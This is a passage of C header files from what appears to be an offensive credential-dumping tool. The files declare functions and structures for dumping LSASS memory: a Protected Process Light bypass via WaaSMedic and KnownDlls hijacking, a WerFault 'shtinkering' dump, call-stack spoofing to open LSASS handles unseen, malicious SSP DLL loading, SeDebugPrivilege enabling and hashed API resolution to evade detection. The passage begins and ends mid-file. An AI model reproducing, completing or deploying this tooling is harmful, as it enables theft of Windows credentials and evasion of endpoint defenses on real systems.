data); 116 | 117 | HRESULT (STDMETHODCALLTYPE *Stop)( 118 | IUnknown *This, 119 | HRESULT* pRetCode); 120 | 121 | HRESULT (STDMETHODCALLTYPE *Pause)( 122 | IUnknown *This); 123 | 124 | HRESULT (STDMETHODCALLTYPE *Resume)( 125 | IUnknown *This); 126 | }ITaskHandlerVtbl, *PITaskHandlerVtbl; 127 | 128 | typedef struct _IWaaSRemediationEx { 129 | IWaaSRemediationExVtbl* lpVtbl; 130 | } IWaaSRemediationEx, *PIWaaSRemediationEx; 131 | 132 | typedef struct _ITaskHandler { 133 | ITaskHandlerVtbl* lpVtbl; 134 | } ITaskHandler, *PITaskHandler; 135 | 136 | typedef struct _WRITE_REMOTE_KNOWN_DLL_HANDLE_PARAM 137 | { 138 | ULONG32 Strategy; 139 | IWaaSRemediationEx* WaaSRemediationEx; 140 | ULONG_PTR WriteAtLaunchDetectionOnly; 141 | ULONG_PTR WriteAtLaunchRemediationOnly; 142 | DISPID DispIdLaunchDetectionOnly; 143 | DISPID DispIdLaunchRemediationOnly; 144 | BSTR CallerApplicationName; 145 | BSTR Plugins; 146 | } WRITE_REMOTE_KNOWN_DLL_HANDLE_PARAM, * PWRITE_REMOTE_KNOWN_DLL_HANDLE_PARAM; 147 | 148 | typedef struct _WRITE_REMOTE_DLL_SEARCH_PATH_FLAG_PARAM 149 | { 150 | IWaaSRemediationEx* WaaSRemediationEx; 151 | ULONG_PTR WriteAt; 152 | DISPID DispIdLaunchRemediationOnly; 153 | BSTR CallerApplicationName; 154 | BSTR Plugins; 155 | } WRITE_REMOTE_DLL_SEARCH_PATH_FLAG_PARAM, * PWRITE_REMOTE_DLL_SEARCH_PATH_FLAG_PARAM; 156 | 157 | #define IWaaSRemediationEx_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) \ 158 | ( ((PIWaaSRemediationEx)This)->lpVtbl -> Invoke((IDispatch *)This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) 159 | 160 | #define IWaaSRemediationEx_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) \ 161 | ( ((PIWaaSRemediationEx)This)->lpVtbl -> GetIDsOfNames((IDispatch *)This,riid,rgszNames,cNames,lcid,rgDispId) ) 162 | 163 | #define IWaaSRemediationEx_Release(This) \ 164 | ( ((PIWaaSRemediationEx)This)->lpVtbl -> Release((IDispatch *)This) ) 165 | 166 | #define ITaskHandler_Release(This) \ 167 | ( ((PITaskHandler)This)->lpVtbl -> Release((IDispatch *)This) ) 168 | 169 | BOOL initialize_interface( 170 | PIWaaSRemediationEx* IWaaSRemediationExPtr); 171 | 172 | BOOL find_combase_dll_search_flag_address( 173 | IN PULONG_PTR Address); 174 | 175 | DWORD WINAPI write_remote_dll_search_path_flag_thread(LPVOID Parameter); 176 | 177 | BOOL write_remote_dll_search_path_flag( 178 | IN PIWaaSRemediationEx IWaaSRemediationEx, 179 | IN DISPID DispIdLaunchRemediationOnly); 180 | 181 | BOOL resolve_dispatch_ids( 182 | IN PIWaaSRemediationEx IWaaSRemediationEx, 183 | OUT DISPID *DispIdLaunchDetectionOnly, 184 | OUT DISPID *DispIdLaunchRemediationOnly); 185 | 186 | BOOL calculate_write_addresses( 187 | IN PVOID BaseAddress, 188 | IN ULONG32 TargetValue, 189 | OUT PDWORD64 WriteAtLaunchDetectionOnly, 190 | OUT PDWORD64 WriteAtLaunchRemediationOnly); 191 | 192 | BOOL write_remote_known_dll_handle( 193 | IN PIWaaSRemediationEx IWaaSRemediationEx, 194 | IN LONG TargetValue, 195 | IN DISPID DispIdLaunchDetectionOnly, 196 | IN DISPID DispIdLaunchRemediationOnly, 197 | IN DWORD64 WriteAtLaunchDetectionOnly, 198 | IN DWORD64 WriteAtLaunchRemediationOnly); 199 | 200 | BOOL create_task_handler_instance(); 201 | 202 | BOOL release_client( 203 | IN PIWaaSRemediationEx IWaaSRemediationEx); 204 | -------------------------------------------------------------------------------- /include/ppl/ppl_medic_dll.h: -------------------------------------------------------------------------------- 1 | 2 | #include "dinvoke.h" 3 | 4 | typedef HANDLE(WINAPI* OpenEventW_t)(DWORD dwDesiredAccess, BOOL bInheritHandle, LPCWSTR lpName); 5 | typedef BOOL(WINAPI* SetEvent_t)(HANDLE hEvent); 6 | 7 | #define CreateFileTransactedW_SW2_HASH 0x968D0D41 8 | #define OpenEventW_SW2_HASH 0x9E08A2EF 9 | #define SetEvent_SW2_HASH 0x5A8072DC 10 | 11 | BOOL signal_dll_load_event( 12 | IN LPWSTR event_name); 13 | -------------------------------------------------------------------------------- /include/ppl/ppl_utils.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | 6 | #include "utils.h" 7 | #include "dinvoke.h" 8 | #include "handle.h" 9 | #include "syscalls.h" 10 | #include "ppl/ppl_utils.h" 11 | #include "ppl/ppl_medic.h" 12 | #include "ppl/ppl.h" 13 | 14 | #define LdrGetKnownDllSectionHandle_SW2_HASH 0xABB7D960 15 | 16 | typedef RPC_STATUS(WINAPI* UuidToStringW_t)(UUID *Uuid, RPC_WSTR *StringUuid); 17 | typedef RPC_STATUS(WINAPI* RpcStringFreeW_t)(RPC_WSTR *String); 18 | typedef PIMAGE_NT_HEADERS(NTAPI* RtlImageNtHeader_t)(PVOID ModuleAddress); 19 | typedef BOOL(WINAPI* ControlService_t)(SC_HANDLE hService, DWORD dwControl, LPSERVICE_STATUS lpServiceStatus); 20 | typedef PVOID(WINAPI* Sleep_t)(DWORD dwMilliseconds); 21 | typedef DWORD(WINAPI* GetCurrentDirectoryW_t)(DWORD nBufferLength, LPWSTR lpBuffer); 22 | typedef BOOL(WINAPI* SetCurrentDirectoryW_t)(LPCWSTR lpPathName); 23 | typedef HANDLE(WINAPI* CreateFileW_t)(LPCWSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile); 24 | typedef DWORD(WINAPI* GetFileSize_t)(HANDLE hFile, LPDWORD lpFileSizeHigh); 25 | typedef BOOL(WINAPI* StartServiceW_t)(SC_HANDLE hService, DWORD dwNumServiceArgs, LPCWSTR *lpServiceArgVectors); 26 | typedef LSTATUS(WINAPI* RegOpenKeyExW_t)(HKEY hKey, LPCWSTR lpSubKey, DWORD ulOptions, REGSAM samDesired, PHKEY phkResult); 27 | typedef LSTATUS(WINAPI* RegQueryValueExW_t)(HKEY hKey, LPCWSTR lpValueName, LPDWORD lpReserved, LPDWORD lpType, LPBYTE lpData, LPDWORD lpcbData); 28 | typedef DWORD(WINAPI* GetTempPathW_t)(DWORD nBufferLength, LPWSTR lpBuffer); 29 | typedef UINT(WINAPI* GetTempFileNameW_t)(LPCWSTR lpPathName, LPCWSTR lpPrefixString, UINT uUnique, LPWSTR lpTempFileName); 30 | typedef BOOL(WINAPI* QueryServiceStatusEx_t)(SC_HANDLE hService, SC_STATUS_TYPE InfoLevel, LPBYTE lpBuffer, DWORD cbBufSize, LPDWORD pcbBytesNeeded); 31 | typedef LSTATUS(WINAPI* RegSetValueExW_t)(HKEY hKey, LPCWSTR lpValueName, DWORD Reserved, DWORD dwType, PBYTE lpData, DWORD cbData); 32 | typedef LSTATUS(WINAPI* RegCloseKey_t)(HKEY hKey); 33 | typedef BOOL(WINAPI* RemoveDirectoryW_t)(LPCWSTR lpPathName); 34 | 35 | #define UuidToStringW_SW2_HASH 0x0A907D4E 36 | #define RpcStringFreeW_SW2_HASH 0x0C953D0F 37 | #define RtlImageNtHeader_SW2_HASH 0x00BCFBB5 38 | #define ControlService_SW2_HASH 0x6EC9F5F5 39 | #define Sleep_SW2_HASH 0x1AA40C23 40 | #define GetCurrentDirectoryW_SW2_HASH 0x7495613A 41 | #define SetCurrentDirectoryW_SW2_HASH 0x0E8F3B04 42 | #define CreateFileW_SW2_HASH 0x24976EA4 43 | #define GetFileSize_SW2_HASH 0xF850E4E6 44 | #define StartServiceW_SW2_HASH 0xF9C506E6 45 | #define RegOpenKeyExW_SW2_HASH 0xD9860929 46 | #define RegQueryValueExW_SW2_HASH 0xE31FB5B7 47 | #define GetTempPathW_SW2_HASH 0x7D51ED68 48 | #define GetTempFileNameW_SW2_HASH 0x132B8414 49 | #define QueryServiceStatusEx_SW2_HASH 0x1D84EAF8 50 | #define RegSetValueExW_SW2_HASH 0x1A1D0AD5 51 | #define RegCloseKey_SW2_HASH 0xE6251DA5 52 | #define RemoveDirectoryW_SW2_HASH 0x10D13916 53 | 54 | #define DIRECTORY_QUERY 0x0001 55 | #define DIRECTORY_TRAVERSE 0x0002 56 | #define DIRECTORY_CREATE_OBJECT 0x0004 57 | #define DIRECTORY_CREATE_SUBDIRECTORY 0x0008 58 | #define DIRECTORY_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0xF) 59 | #define SYMBOLIC_LINK_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1) 60 | 61 | #define SYMBOLIC_LINK_QUERY 0x0001 62 | 63 | #if defined(_MSC_VER) 64 | 65 | #define FileStandardInformation 5 66 | #define ThreadImpersonationToken 5 67 | 68 | typedef struct _FILE_STANDARD_INFORMATION { 69 | LARGE_INTEGER AllocationSize; 70 | LARGE_INTEGER EndOfFile; 71 | ULONG NumberOfLinks; 72 | BOOLEAN DeletePending; 73 | BOOLEAN Directory; 74 | } FILE_STANDARD_INFORMATION, *PFILE_STANDARD_INFORMATION; 75 | 76 | typedef struct _OBJECT_NAME_INFORMATION { 77 | UNICODE_STRING Name; 78 | } OBJECT_NAME_INFORMATION, *POBJECT_NAME_INFORMATION; 79 | 80 | #define ObjectNameInformation 1 81 | 82 | #endif 83 | 84 | BOOL is_win_6_point_3_or_grater(VOID); 85 | 86 | BOOL is_win_10_or_grater(VOID); 87 | 88 | BOOL object_manager_create_directory( 89 | IN LPWSTR dirname, 90 | OUT PHANDLE hDirectory); 91 | 92 | BOOL object_manager_create_symlik( 93 | IN LPWSTR linkname, 94 | IN LPWSTR targetname, 95 | OUT PHANDLE hLink); 96 | 97 | BOOL check_known_dll_symbolic_link( 98 | IN LPCWSTR pwszDllName, 99 | IN LPWSTR pwszTarget); 100 | 101 | BOOL get_file_size( 102 | IN HANDLE hFile, 103 | OUT PDWORD file_size); 104 | 105 | VOID safe_close_handle( 106 | IN PHANDLE Handle); 107 | 108 | BOOL get_hijacked_dll_name( 109 | OUT LPWSTR* HijackedDllName, 110 | OUT LPWSTR* HijackedDllSectionPath); 111 | 112 | BOOL find_writable_system_dll( 113 | IN DWORD MinSize, 114 | OUT LPWSTR* FilePath); 115 | 116 | BOOL get_known_dlls_handle_address( 117 | IN PVOID* KnownDllDirectoryHandleAddr); 118 | 119 | BOOL set_registry_string_value( 120 | IN HKEY Key, 121 | IN LPCWSTR SubKey, 122 | IN LPCWSTR ValueName, 123 | IN LPCWSTR ValueData); 124 | 125 | BOOL get_type_lib_reg_value_path( 126 | IN LPWSTR* TypeLibRegValuePath); 127 | 128 | BOOL get_registry_string_value( 129 | IN HKEY Key, 130 | IN LPCWSTR SubKey, 131 | IN LPCWSTR ValueName, 132 | OUT LPWSTR* ValueData); 133 | 134 | VOID safe_release( 135 | IN IUnknown** Interface); 136 | 137 | BOOL generate_temp_path( 138 | OUT LPWSTR* Buffer); 139 | 140 | BOOL get_service_process_id( 141 | IN LPCWSTR ServiceName, 142 | OUT LPDWORD ProcessId); 143 | 144 | BOOL query_service_status_process_by_handle( 145 | IN SC_HANDLE ServiceHandle, 146 | IN OUT LPSERVICE_STATUS_PROCESS ServiceStatus); 147 | 148 | BOOL get_service_handle( 149 | IN LPCWSTR ServiceName, 150 | IN DWORD DesiredAccess, 151 | OUT LPSC_HANDLE ServiceHandle); 152 | 153 | BOOL query_service_status_process_by_name( 154 | IN LPCWSTR ServiceName, 155 | IN OUT LPSERVICE_STATUS_PROCESS ServiceStatus); 156 | 157 | BOOL get_service_status_by_name( 158 | IN LPCWSTR ServiceName, 159 | OUT LPDWORD Status); 160 | 161 | BOOL stop_service_by_name( 162 | IN LPCWSTR ServiceName, 163 | IN BOOL Wait); 164 | 165 | BOOL start_service_by_name( 166 | IN LPCWSTR ServiceName, 167 | IN BOOL Wait); 168 | 169 | VOID safe_free( 170 | IN PVOID* Memory); 171 | 172 | BOOL get_windows_temp_directory( 173 | OUT LPWSTR* Path); 174 | 175 | BOOL find_module_section( 176 | IN HMODULE Module, 177 | IN LPCSTR SectionName, 178 | OUT PULONG_PTR Address, 179 | OUT LPDWORD Size); 180 | 181 | BOOL find_module_pattern( 182 | IN PBYTE Pattern, 183 | IN DWORD PatternLength, 184 | IN ULONG_PTR Address, 185 | IN DWORD Size, 186 | OUT PULONG_PTR PatternAddress); 187 | 188 | BOOL is_service_running( 189 | IN LPCWSTR ServiceName); 190 | 191 | BOOL delete_directory( 192 | IN LPWSTR Path); 193 | -------------------------------------------------------------------------------- /include/shtinkering.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | 6 | #include "dinvoke.h" 7 | #include "syscalls.h" 8 | 9 | #ifndef EVENT_QUERY_STATE 10 | #define EVENT_QUERY_STATE 0x0001 11 | #endif 12 | 13 | #ifndef ALPC_MSGFLG_SYNC_REQUEST 14 | #define ALPC_MSGFLG_SYNC_REQUEST 0x20000 15 | #endif 16 | 17 | #define SHTINKERING_KEY L"\\Registry\\Machine\\Software\\Microsoft\\Windows\\Windows Error Reporting\\LocalDumps\\" 18 | #ifndef LOCAL_DUMP 19 | #define LOCAL_DUMP 0x2 20 | #endif 21 | 22 | typedef struct _EVENT_DESCRIPTOR { 23 | USHORT Id; 24 | UCHAR Version; 25 | UCHAR Channel; 26 | UCHAR Level; 27 | UCHAR Opcode; 28 | USHORT Task; 29 | ULONGLONG Keyword; 30 | } EVENT_DESCRIPTOR, *PEVENT_DESCRIPTOR; 31 | 32 | typedef struct _EVENT_DATA_DESCRIPTOR { 33 | ULONGLONG Ptr; 34 | ULONG Size; 35 | union { 36 | ULONG Reserved; 37 | struct { 38 | UCHAR Type; 39 | UCHAR Reserved1; 40 | USHORT Reserved2; 41 | } DUMMYSTRUCTNAME; 42 | } DUMMYUNIONNAME; 43 | } EVENT_DATA_DESCRIPTOR, *PEVENT_DATA_DESCRIPTOR; 44 | 45 | typedef ULONG(WINAPI* EtwEventWriteNoRegistration_t) (GUID const *ProviderId, EVENT_DESCRIPTOR const *EventDescriptor, ULONG UserDataCount, EVENT_DATA_DESCRIPTOR *UserData); 46 | 47 | #define EtwEventWriteNoRegistration_SW2_HASH 0x980FF899 48 | #define NtUpdateWnfStateData_SW2_HASH 0x6CC3F2FE 49 | #define GetEnvironmentVariableW_SW2_HASH 0x2F9C600B 50 | 51 | enum WerSvcMessageId 52 | { 53 | RequestReportUnhandledException = 0x20000000, 54 | ReplyReportUnhandledExceptionSuccess = 0x20000001, 55 | ReplyReportUnhandledExceptionFailure = 0x20000002, 56 | RequestSilentProcessExit = 0x30000000, 57 | ResponseSilentProcessExitSuccess = 0x30000001, 58 | ResponseSilentProcessExitFailure = 0x30000002 59 | }; 60 | 61 | typedef struct _MappedViewStruct 62 | { 63 | DWORD Size; 64 | DWORD TargetProcessPid; 65 | DWORD TargetThreadTid; 66 | DWORD Filler0[39]; 67 | EXCEPTION_POINTERS* ExceptionPointers; 68 | #ifndef _WIN64 69 | DWORD Filler1; 70 | #endif 71 | DWORD NtErrorCode; 72 | DWORD Filler2; 73 | HANDLE hTargetProcess; 74 | #ifndef _WIN64 75 | DWORD Filler3; 76 | #endif 77 | HANDLE hTargetThread; 78 | #ifndef _WIN64 79 | DWORD Filler4; 80 | #endif 81 | HANDLE hRecoveryEvent; 82 | #ifndef _WIN64 83 | DWORD Filler5; 84 | #endif 85 | HANDLE hCompletionEvent; 86 | #ifndef _WIN64 87 | DWORD Filler6; 88 | #endif 89 | DWORD Filler7; 90 | DWORD Filler8; 91 | DWORD Null01; 92 | DWORD Null02; 93 | DWORD NtStatusErrorCode; 94 | DWORD Null03; 95 | DWORD TickCount; 96 | DWORD Unk101; 97 | } MappedViewStruct, *PMappedViewStruct; 98 | 99 | BOOL wait_for_wersvc(VOID); 100 | 101 | BOOL signal_start_wersvc(VOID); 102 | 103 | BOOL send_message_to_wer_service( 104 | IN PVOID SendingMessage, 105 | OUT PVOID ReceivingMessage); 106 | 107 | BOOL find_valid_thread_id( 108 | IN DWORD process_id, 109 | OUT PDWORD pthread_id); 110 | 111 | BOOL werfault_shtinkering( 112 | IN DWORD lsass_pid, 113 | IN HANDLE hProcess); 114 | -------------------------------------------------------------------------------- /include/spoof_callstack.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #if defined(NANO) && !defined(SSP) 4 | 5 | #include 6 | #include 7 | 8 | #include "ntdefs.h" 9 | #include "utils.h" 10 | #include "dinvoke.h" 11 | 12 | #define NtOpenProcess_SW2_HASH 0xcd9b2a0f 13 | 14 | #if defined(__clang__) 15 | #define SET_SYNTAX ".intel_syntax noprefix \n" 16 | #else 17 | #define SET_SYNTAX 18 | #endif 19 | 20 | #ifdef _WIN64 21 | 22 | typedef struct _SYSCALL_DATA 23 | { 24 | PVOID full_stack_base; // 0x00 25 | ULONG_PTR full_stack_size; // 0x08 26 | PVOID full_stack_backup_addr; // 0x10 27 | PVOID fake_stack_heap_addr; // 0x18 28 | ULONG_PTR fake_stack_size; // 0x20 29 | PVOID fake_stack_target_addr; // 0x28 30 | PVOID fake_stack_rsp; // 0x30 31 | PVOID fake_stack_rbp; // 0x38 32 | PVOID canary_addr; // 0x40 33 | union { 34 | PVOID syscall_addr; // 0x48 35 | PVOID api_addr; // 0x48 36 | }; 37 | ULONG32 syscall_number; // 0x50 38 | BOOL is_api_call; // 0x54 39 | BOOL is_wow64; // 0x58 40 | ULONG32 num_params; // 0x5c 41 | ULONG_PTR params[10]; // 0x60+0x8*i 42 | } SYSCALL_DATA, *PSYSCALL_DATA; 43 | 44 | #else 45 | 46 | typedef struct _SYSCALL_DATA 47 | { 48 | PVOID full_stack_base; // 0x00 49 | ULONG_PTR full_stack_size; // 0x04 50 | PVOID full_stack_backup_addr; // 0x08 51 | PVOID fake_stack_heap_addr; // 0x0c 52 | ULONG_PTR fake_stack_size; // 0x10 53 | PVOID fake_stack_target_addr; // 0x14 54 | PVOID fake_stack_rsp; // 0x18 55 | PVOID fake_stack_rbp; // 0x1c 56 | PVOID canary_addr; // 0x20 57 | union { 58 | PVOID syscall_addr; // 0x24 59 | PVOID api_addr; // 0x24 60 | }; 61 | ULONG32 syscall_number; // 0x28 62 | BOOL is_api_call; // 0x2c 63 | BOOL is_wow64; // 0x30 64 | ULONG32 num_params; // 0x34 65 | ULONG_PTR params[10]; // 0x38+0x4*i 66 | } SYSCALL_DATA, *PSYSCALL_DATA; 67 | 68 | #endif 69 | 70 | #ifndef UNWIND_HISTORY_TABLE_SIZE 71 | 72 | #define UNWIND_HISTORY_TABLE_SIZE 12 73 | 74 | typedef struct _FRAME_POINTERS { 75 | ULONGLONG MemoryStackFp; 76 | ULONGLONG BackingStoreFp; 77 | } FRAME_POINTERS,*PFRAME_POINTERS; 78 | 79 | typedef struct _RUNTIME_FUNCTION { 80 | ULONG BeginAddress; 81 | ULONG EndAddress; 82 | ULONG UnwindData; 83 | } RUNTIME_FUNCTION, *PRUNTIME_FUNCTION; 84 | 85 | typedef struct _UNWIND_HISTORY_TABLE_ENTRY { 86 | ULONG64 ImageBase; 87 | ULONG64 Gp; 88 | PRUNTIME_FUNCTION FunctionEntry; 89 | } UNWIND_HISTORY_TABLE_ENTRY,*PUNWIND_HISTORY_TABLE_ENTRY; 90 | 91 | typedef struct _UNWIND_HISTORY_TABLE { 92 | ULONG Count; 93 | UCHAR Search; 94 | ULONG64 LowAddress; 95 | ULONG64 HighAddress; 96 | UNWIND_HISTORY_TABLE_ENTRY Entry[UNWIND_HISTORY_TABLE_SIZE]; 97 | } UNWIND_HISTORY_TABLE,*PUNWIND_HISTORY_TABLE; 98 | 99 | #endif 100 | 101 | #ifndef UNW_FLAG_CHAININFO 102 | #define UNW_FLAG_CHAININFO 0x4 103 | #endif 104 | 105 | #define UNUSED(x) (void)(x) 106 | 107 | #define MAX_FRAME_NUM 30 108 | #define RBP_OP_INFO 0x5 109 | 110 | // 111 | // Used to store information for individual stack frames for call stack to spoof. 112 | // 113 | typedef struct _STACK_FRAME { 114 | WCHAR targetDll[MAX_PATH]; 115 | WCHAR target_dll_name[MAX_PATH]; 116 | DWORD functionHash; 117 | CHAR function_name[MAX_PATH]; 118 | ULONG offset; 119 | ULONG totalStackSize; 120 | BOOL setsFramePointer; 121 | PVOID returnAddress; 122 | BOOL pushRbp; 123 | ULONG countOfCodes; 124 | BOOL pushRbpIndex; 125 | ULONG32 pattern_size; 126 | CHAR pattern[256]; 127 | BYTE byte_match[256]; 128 | BOOL is_valid; 129 | PVOID function_addr; 130 | ULONG32 final_offset; 131 | BOOL push_frame; 132 | BOOL is_exception; 133 | } STACK_FRAME, *PSTACK_FRAME; 134 | 135 | // 136 | // Unwind op codes: https://docs.microsoft.com/en-us/cpp/build/exception-handling-x64?view=msvc-170 137 | // 138 | typedef enum _UNWIND_OP_CODES { 139 | UWOP_PUSH_NONVOL = 0, /* info == register number */ 140 | UWOP_ALLOC_LARGE, /* no info, alloc size in next 2 slots */ 141 | UWOP_ALLOC_SMALL, /* info == size of allocation / 8 - 1 */ 142 | UWOP_SET_FPREG, /* no info, FP = RSP + UNWIND_INFO.FPRegOffset*16 */ 143 | UWOP_SAVE_NONVOL, /* info == register number, offset in next slot */ 144 | UWOP_SAVE_NONVOL_FAR, /* info == register number, offset in next 2 slots */ 145 | UWOP_EPILOG, 146 | UWOP_SPARE_CODE, 147 | UWOP_SAVE_XMM128, /* info == XMM reg number, offset in next slot */ 148 | UWOP_SAVE_XMM128_FAR, /* info == XMM reg number, offset in next 2 slots */ 149 | UWOP_PUSH_MACHFRAME /* info == 0: no error-code, 1: error-code */ 150 | } UNWIND_CODE_OPS; 151 | 152 | typedef unsigned char UBYTE; 153 | 154 | typedef union _UNWIND_CODE { 155 | struct { 156 | UBYTE CodeOffset; 157 | UBYTE UnwindOp : 4; 158 | UBYTE OpInfo : 4; 159 | }; 160 | USHORT FrameOffset; 161 | } UNWIND_CODE, *PUNWIND_CODE; 162 | 163 | typedef struct _UNWIND_INFO { 164 | UBYTE Version : 3; 165 | UBYTE Flags : 5; 166 | UBYTE SizeOfProlog; 167 | UBYTE CountOfCodes; 168 | UBYTE FrameRegister : 4; 169 | UBYTE FrameOffset : 4; 170 | UNWIND_CODE UnwindCode[1]; 171 | /* UNWIND_CODE MoreUnwindCode[((CountOfCodes + 1) & ~1) - 1]; 172 | * union { 173 | * OPTIONAL ULONG ExceptionHandler; 174 | * OPTIONAL ULONG FunctionEntry; 175 | * }; 176 | * OPTIONAL ULONG ExceptionData[]; */ 177 | } UNWIND_INFO, *PUNWIND_INFO; 178 | 179 | typedef struct _STACK_INFO { 180 | PVOID full_stack_base; 181 | ULONG64 full_stack_size; 182 | PVOID full_stack_backup_addr; 183 | PVOID fake_stack_heap_addr; 184 | ULONG64 fake_stack_size; 185 | PVOID fake_stack_target_addr; 186 | PVOID fake_stack_rsp; 187 | PVOID fake_stack_rbp; 188 | PVOID canary_addr; 189 | PVOID first_ret_addr; 190 | PVOID storing_area; 191 | } STACK_INFO, *PSTACK_INFO; 192 | 193 | BOOL lookup_function_entry( 194 | IN ULONG_PTR ControlPc, 195 | PRUNTIME_FUNCTION* pFunctionEntry, 196 | PVOID* pImageBase); 197 | 198 | DWORD64 get_module_base(VOID); 199 | 200 | BOOL create_fake_callstack( 201 | PSTACK_INFO stack_info, 202 | ULONG32 function_hash); 203 | 204 | HANDLE open_handle_with_spoofed_callstack( 205 | IN DWORD lsass_pid, 206 | IN DWORD permissions, 207 | IN DWORD attributes); 208 | 209 | PNT_TIB get_tib(); 210 | 211 | #endif 212 | -------------------------------------------------------------------------------- /include/ssp.h: -------------------------------------------------------------------------------- 1 | 2 | #define SECURITY_WIN32 3 | #include 4 | -------------------------------------------------------------------------------- /include/ssp/ssp.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #define WIN32_NO_STATUS 4 | #define SECURITY_WIN32 5 | #include 6 | #include 7 | #include 8 | 9 | #include "dinvoke.h" 10 | #include "nanodump.h" 11 | #include "output.h" 12 | #if PASS_PARAMS_VIA_NAMED_PIPES == 1 13 | #include "pipe.h" 14 | #endif 15 | 16 | typedef NTSTATUS(WINAPI* AddSecurityPackageW_t) (LPWSTR pszPackageName, PSECURITY_PACKAGE_OPTIONS pOptions); 17 | typedef HANDLE(WINAPI* CreateThread_t)(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId); 18 | 19 | #define AddSecurityPackageW_SW2_HASH 0x09B08696 20 | #define CreateThread_SW2_HASH 0x2C912627 21 | 22 | #define SSPICLI_DLL L"SSPICLI.DLL" 23 | 24 | DWORD WINAPI load_ssp(LPVOID Parameter); 25 | -------------------------------------------------------------------------------- /include/ssp/ssp_utils.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | 5 | #define DLL_NAME_LENGTH 10 6 | 7 | typedef PVOID(WINAPI* Sleep_t)(DWORD dwMilliseconds); 8 | 9 | #define Sleep_SW2_HASH 0x1AA40C23 10 | 11 | BOOL generate_random_dll_path( 12 | OUT LPSTR* random_path); 13 | 14 | BOOL write_ssp_dll( 15 | IN LPSTR ssp_dll_path, 16 | IN unsigned char nanodump_ssp_dll[], 17 | IN unsigned int nanodump_ssp_dll_len); 18 | 19 | #if PASS_PARAMS_VIA_NAMED_PIPES == 1 20 | BOOL send_parameters_and_get_result( 21 | IN LPSTR dump_path, 22 | IN BOOL use_valid_sig, 23 | OUT PBOOL dump_worked); 24 | #endif 25 | -------------------------------------------------------------------------------- /include/token_priv.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | 6 | #include "utils.h" 7 | #include "dinvoke.h" 8 | 9 | typedef BOOL(WINAPI* LookupPrivilegeValueW_t) (LPCWSTR lpSystemName, LPCWSTR lpName, PLUID lpLuid); 10 | typedef BOOL(WINAPI* LookupPrivilegeNameW_t) (LPCSTR lpSystemName, PLUID lpLuid, LPWSTR lpName, LPDWORD cchName); 11 | 12 | #define LookupPrivilegeValueW_SW2_HASH 0xD496970C 13 | #define LookupPrivilegeNameW_SW2_HASH 0x11A5C11E 14 | 15 | #define SeDebugPrivilege L"SeDebugPrivilege" 16 | 17 | BOOL enable_impersonate_priv(VOID); 18 | 19 | BOOL enable_debug_priv(VOID); 20 | 21 | BOOL check_token_privileges( 22 | IN HANDLE hToken OPTIONAL, 23 | IN LPCWSTR ppwszRequiredPrivileges[], 24 | IN ULONG32 dwNumRequiredPrivileges, 25 | IN BOOL bEnablePrivilege); 26 | 27 | BOOL check_token_privilege( 28 | IN HANDLE hToken OPTIONAL, 29 | IN LPCWSTR pwszPrivilege, 30 | IN BOOL bEnablePrivilege); 31 | -------------------------------------------------------------------------------- /include/utils.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "nanodump.h" 4 | #include "ntdefs.h" 5 | #include "output.h" 6 | 7 | #define UNUSED(x) (void)(x) 8 | 9 | #if defined(_MSC_VER) 10 | #define ProcessInstrumentationCallback 40 11 | #endif 12 | 13 | typedef struct _linked_list 14 | { 15 | struct _linked_list* next; 16 | } linked_list, *Plinked_list; 17 | 18 | #define intAlloc(size) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, size) 19 | #define intFree(addr) HeapFree(GetProcessHeap(), 0, addr) 20 | #define DATA_FREE(d, l) \ 21 | if (d) { \ 22 | memset(d, 0, l); \ 23 | intFree(d); \ 24 | d = NULL; \ 25 | } 26 | 27 | #define RVA(type, base_addr, rva) (type)(ULONG_PTR)((ULONG_PTR) base_addr + rva) 28 | 29 | typedef DWORD(WINAPI* GetEnvironmentVariableW_t) (LPCWSTR lpName, LPWSTR lpBuffer, DWORD nSize); 30 | 31 | #define GetEnvironmentVariableW_SW2_HASH 0x2F9C600B 32 | 33 | #ifdef _WIN64 34 | #define CID_OFFSET 0x40 35 | #define TEB_OFFSET 0x30 36 | #define PEB_OFFSET 0x60 37 | #define READ_MEMLOC __readgsqword 38 | #else 39 | #define CID_OFFSET 0x20 40 | #define TEB_OFFSET 0x18 41 | #define PEB_OFFSET 0x30 42 | #define READ_MEMLOC __readfsdword 43 | #endif 44 | 45 | typedef enum { 46 | PSS_CAPTURE_NONE = 0x00000000, 47 | PSS_CAPTURE_VA_CLONE = 0x00000001, 48 | PSS_CAPTURE_RESERVED_00000002 = 0x00000002, 49 | PSS_CAPTURE_HANDLES = 0x00000004, 50 | PSS_CAPTURE_HANDLE_NAME_INFORMATION = 0x00000008, 51 | PSS_CAPTURE_HANDLE_BASIC_INFORMATION = 0x00000010, 52 | PSS_CAPTURE_HANDLE_TYPE_SPECIFIC_INFORMATION = 0x00000020, 53 | PSS_CAPTURE_HANDLE_TRACE = 0x00000040, 54 | PSS_CAPTURE_THREADS = 0x00000080, 55 | PSS_CAPTURE_THREAD_CONTEXT = 0x00000100, 56 | PSS_CAPTURE_THREAD_CONTEXT_EXTENDED = 0x00000200, 57 | PSS_CAPTURE_RESERVED_00000400 = 0x00000400, 58 | PSS_CAPTURE_VA_SPACE = 0x00000800, 59 | PSS_CAPTURE_VA_SPACE_SECTION_INFORMATION = 